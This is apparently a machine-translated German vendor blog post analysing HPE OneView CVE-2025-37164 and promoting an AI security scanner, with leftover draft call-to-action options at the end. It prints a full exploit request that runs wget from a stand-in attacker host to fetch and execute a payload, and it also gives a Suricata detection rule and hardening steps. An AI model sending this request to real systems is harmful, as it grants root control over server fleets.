Die Silizium-Übernahme: Autopsie von CVE-2025-37164 (HPE OneView) und der Zusammenbruch der KI-Rechensicherheit

In der aufkeimenden Ära des Jahres 2026, in der "Compute das neue Öl" ist, war die Sicherheit des physischen Rechenzentrums noch nie so wichtig wie heute. Während Red Teams wochenlang mit der Entwicklung von Soforteingaben zur Umgehung von LLM-Leitplanken beschäftigt sind, ist eine weitaus primitivere und verheerendere Bedrohung aus dem Keller des IT-Stacks aufgetaucht.

Am 16. Dezember 2025 wurde die Welt der Sicherheit durch die Enthüllung der folgenden Informationen erschüttert CVE-2025-37164eine Schwachstelle in HPE OneView mit der seltenen und erschreckenden CVSS-Score von 10.0.

Für Uneingeweihte: HPE OneView ist die "God Mode"-Software für moderne softwaredefinierte Infrastrukturen (SDI). Sie automatisiert die Bereitstellung von Tausenden von HPE Synergy- und ProLiant-Servern - genau die Bare-Metal-Biester, die die fortschrittlichsten KI-Trainingscluster der Welt antreiben.

CVE-2025-37164 ist ein Unauthentifizierte Remote Code Execution (RCE) Schwachstelle. Sie ermöglicht es jedem Angreifer mit Netzwerkzugriff auf den Verwaltungsport, beliebige Systembefehle als Root auszuführen und so effektiv die Schlüssel für die gesamte physische Flotte zu übergeben. In diesem Artikel wird nicht nur eine Zusammenfassung gegeben, sondern die API-Schwachstelle und ihre Auswirkungen auf die KI-Sicherheitstechnik chirurgisch zerlegt.

Die Silizium-Übernahme: Autopsie von CVE-2025-37164 (HPE OneView) und der Zusammenbruch der KI-Rechensicherheit

Die Architektur einer "Gott-Modus"-Schwachstelle

Um die Schwere dieses Fehlers zu verstehen, muss man die Rolle von OneView verstehen. Es sitzt über den BMC- (Baseboard Management Controller) und iLO- (Integrated Lights-Out) Schnittstellen und bündelt die Kontrolle über Rechen-, Speicher- und Netzwerkstrukturen.

Die Sicherheitslücke befindet sich in einem bestimmten REST-API-Endpunkt: /rest/id-pools/executeCommand.

1. Die Konfigurationskatastrophe

Bei der Entwicklung sicherer APIs sollten Endpunkte, die Systembefehle ausführen können, durch mehrere Schichten geschützt werden: Authentifizierung (OAuth/Session), Autorisierung (RBAC) und Eingabesanitisierung.

In betroffenen Versionen von OneView (vor 11.0) wurde die Endpunktdefinition für executeCommand litt unter einem katastrophalen Konfigurationsfehler. Die interne Sicherheitsfilterkarte markierte diese Route mit auth-type: NO_AUTH.

Hypothetische Backend-Logik (Java/Spring-Pseudocode):

Java

`@RestController @RequestMapping("/rest/id-pools") public class IdPoolController {

// FATAL FLAW: Fehlende @PreAuthorize("isAuthenticated()")
// Dieser Endpunkt war wahrscheinlich für die interne Kommunikation zwischen den Diensten gedacht
// wurde aber der öffentlichen Schnittstelle ausgesetzt.
@PutMapping("/executeCommand")
public ResponseEntity execute(@RequestBody CommandRequest payload) {
    
    String binary = payload.getCommand();
    String[] args = payload.getArgs();
    
    // FATAL FLAW: Direkte Injektion in ProcessBuilder ohne Sanitization
    ProcessBuilder pb = new ProcessBuilder(binary);
    pb.command().addAll(Arrays.asList(args));
    Process process = pb.start();
    
    return ResponseEntity.ok(readOutput(process));
}

Diese Logik erzeugt einen direkten Tunnel von einer HTTP-Anfrage zum Linux-Kernel der Appliance.

Die Silizium-Übernahme: Autopsie von CVE-2025-37164 (HPE OneView) und der Zusammenbruch der KI-Rechensicherheit

2. Die Dekonstruktion der Tötungskette

Die Exploit-Komplexität ist Niedrig. Es gibt keine Speicherbeschädigung zum Massieren, keine ASLR zum Umgehen und keine Race Condition zum Gewinnen. Es ist ein reiner und einfacher Logikfehler.

Das Exploit-Primitiv:

Ein Angreifer sendet eine PUT-Anfrage. Die Nutzlast ist ein JSON-Objekt, das den auszuführenden Befehl definiert.

HTTP

PUT /rest/id-pools/executeCommand HTTP/1.1 Host: oneview-appliance.local Content-Type: application/json

{ "Befehl": "/bin/sh", "args": ["-c", "wget http://c2.attacker.com/payload.sh -O /tmp/x; chmod +x /tmp/x; /tmp/x"] }`

Das Ergebnis:

Die Appliance führt das Skript aus. Der Angreifer erhält eine Reverse Shell mit Root-Rechten. Von hier aus hat er Zugriff auf den Netzwerk-Controller selbst.

Die Bedrohungslandschaft der KI-Infrastruktur

Warum ist dies spezifisch für den "Hardcore AI Security Engineer"? Weil die KI-Infrastruktur für diese Art von Angriffen besonders anfällig ist.

1. Der GPU-Raub (Kryptojacking und Diebstahl)

KI-Trainingscluster verwenden H100/B200-GPUs, die unglaublich wertvoll sind. Ein Angreifer mit Root-Zugriff auf OneView kann:

Bereitstellung von Rogue Workloads: Sie können versteckte VMs auf dem Bare Metal aufsetzen, um Kryptowährungen zu schürfen, und so Megawatt an Energie und Kühlkapazität verbrauchen.
Verweigerung von Ressourcen: Während eines kritischen Trainingslaufs (der Millionen kosten kann), kann der Angreifer eine den Strom abschalten Befehl an die physischen Blades über die iLO-Schnittstelle, was zu katastrophalen Datenverlusten und Projektverzögerungen führt.

2. Vergiftung der Lieferkette durch Firmware

OneView verwaltet Firmware-Updates für die Serverflotte. Ein Angreifer mit Root-Zugriff kann:

Bösartige Firmware flashen: Downgrade von BIOS/UEFI auf anfällige Versionen oder Einschleusen dauerhafter Rootkits (wie BlackLotus) in den SPI-Flash des AI-Servers.
Dauerhafter Zugang: Selbst wenn das Betriebssystem gelöscht und neu installiert wird, bleibt die Schadsoftware in der Hardware erhalten und gefährdet jedes zukünftige Modell, das auf diesem Rechner trainiert wird.

3. Seitliche Verlagerung zu Data Lakes

Leistungsstarke KI-Cluster sind eng mit Storage Fabrics (Infiniband/RoCE) verbunden. OneView verwaltet diese Verbindungen. Die Kompromittierung von OneView ermöglicht es einem Angreifer, die zugrunde liegenden NAS/SAN-Volumes zu mounten und so direkten Zugriff auf proprietäre Datensätze und Modellgewichte zu erhalten, ohne das AD-Netzwerk des Unternehmens zu berühren.

KI-gesteuerte Verteidigung: Der sträfliche Vorteil

Die Erkennung von Infrastrukturschwachstellen wie CVE-2025-37164 ist ein blinder Fleck für herkömmliche Webanwendungs-Scanner (DAST). DAST-Tools durchforsten HTML; sie untersuchen nur selten obskure Verwaltungs-APIs auf nicht standardmäßigen Ports.

Dies ist der Ort, an dem Penligent.ai stellt einen Paradigmenwechsel für die Sicherheit der Infrastruktur dar.

1. Out-of-Band (OOB) Asset-Zuordnung

Die KI-Agenten von Penligent nutzen Vollständiges Asset Mapping. Sie scannen nicht nur nach Webanwendungen, sondern suchen aktiv nach Signaturen für Verwaltungsprotokolle (IPMI, Redfish, HPE REST API). Die KI korreliert diese Signaturen mit den neuesten Bedrohungsdaten und identifiziert die "Schatteninfrastruktur", die die IT vergessen hat zu patchen.

2. Zerstörungsfreie RCE-Prüfung

Das Scannen eines produktiven AI-Clusters ist riskant. Ein fehlerhafter Scan kann einen Server zum Absturz bringen. Penligent verwendet Kontextabhängiges Fuzzing um eine zerstörungsfreie Prüfung durchzuführen.

Sichere Nutzlast: Anstatt zu senden rm -rf / oder einer Reverse Shell sendet Penligent eine gutartige Nutzlast wie echo "Penligent_Check".
Validierung: Die KI analysiert die HTTP-Antwort. Wenn sie die geechotete Zeichenfolge sieht, bestätigt sie den RCE mit 100%-Sicherheit, so dass das Sicherheitsteam den Patch priorisieren kann, ohne den Trainingsauftrag abzubrechen.

Ist Ihr DAST-Scanner blind für Management-APIs? Penligent ist es nicht. >>

Handbuch für das Blaue Team: Erkennung und Härtung

Wenn Sie nicht sofort patchen können, befinden Sie sich in einem "Breach Assumed"-Status.

1. Netzwerk-Erkennung (Suricata/Snort)

Überwachen Sie den Datenverkehr zum OneView Management-Subnetz. Suchen Sie nach HTTP PUT oder POST Anfragen an /rest/id-pools/executeCommand.

Suricata-Regel:

YAML

alert http $EXTERNAL_NET any -> $ONEVIEW_SERVER 443 (msg: "ET EXPLOIT HPE OneView CVE-2025-37164 RCE Attempt"; \\\ flow:established,to_server; \\ content:"/rest/id-pools/executeCommand"; http_uri; \\\ content: "command"; http_client_body; \\\ content:"/bin/"; http_client_body; \\\ classtype:attempted-admin; sid:1000025; rev:1;)

2. Log-Überwachung

Prüfen Sie die OneView-Auditprotokolle (ci-debug.log oder audit.log) bei unerwarteten Aufrufen der IdPools Controller, die von IP-Adressen stammen, die nicht der designierte Bastion Host sind.

3. Architektonische Quarantäne

Management-VLAN: Stellen Sie sicher, dass sich die Schnittstelle der OneView-Appliance in einem streng isolierten VLAN befindet, das nur über ein VPN mit MFA zugänglich ist.
ACLs: Wenden Sie Zugriffskontrolllisten auf Switch-Ebene an, um den gesamten Datenverkehr zu Port 443 auf der OneView-Appliance zu blockieren, mit Ausnahme der spezifischen IP der Workstation des Systemadministrators.

Schlussfolgerung

CVE-2025-37164 erinnert uns auf brutale Weise daran, dass die "Cloud" nur der Computer eines anderen ist, und dieser Computer hat einen Verwaltungsanschluss. In der Eile, AGI aufzubauen, dürfen wir das konkrete Fundament, auf dem sie steht, nicht vernachlässigen.

Die Sicherheit der KI-Zukunft hängt nicht nur von einem robusten Modellabgleich ab, sondern auch von der Integrität der Siliziumlieferkette. Aktualisieren Sie Ihre Firmware, isolieren Sie Ihre Verwaltungsebenen und setzen Sie intelligente, automatisierte Validierung ein, um sicherzustellen, dass Ihre "God Mode"-Konsole nicht zur Spielwiese für Angreifer wird.

Zuverlässige Referenzen

🚀 CTA-Optionen

Option 1 (Schmerzpunkt - empfohlen):

Ist Ihr DAST-Scanner blind für Management-APIs? Penligent ist es nicht.

Ignorieren Sie Ihre Infrastruktur nicht länger. Erkennen Sie mit Penligent noch heute versteckte RCEs in Ihrem KI-Compute-Cluster.

Option 2 (Dringlichkeit):

Lassen Sie nicht zu, dass ein "God Mode"-Bug Ihre KI-Modelle auslöscht.

Validieren Sie Ihre HPE OneView Sicherheitslage sofort mit Penligents zerstörungsfreien Tests.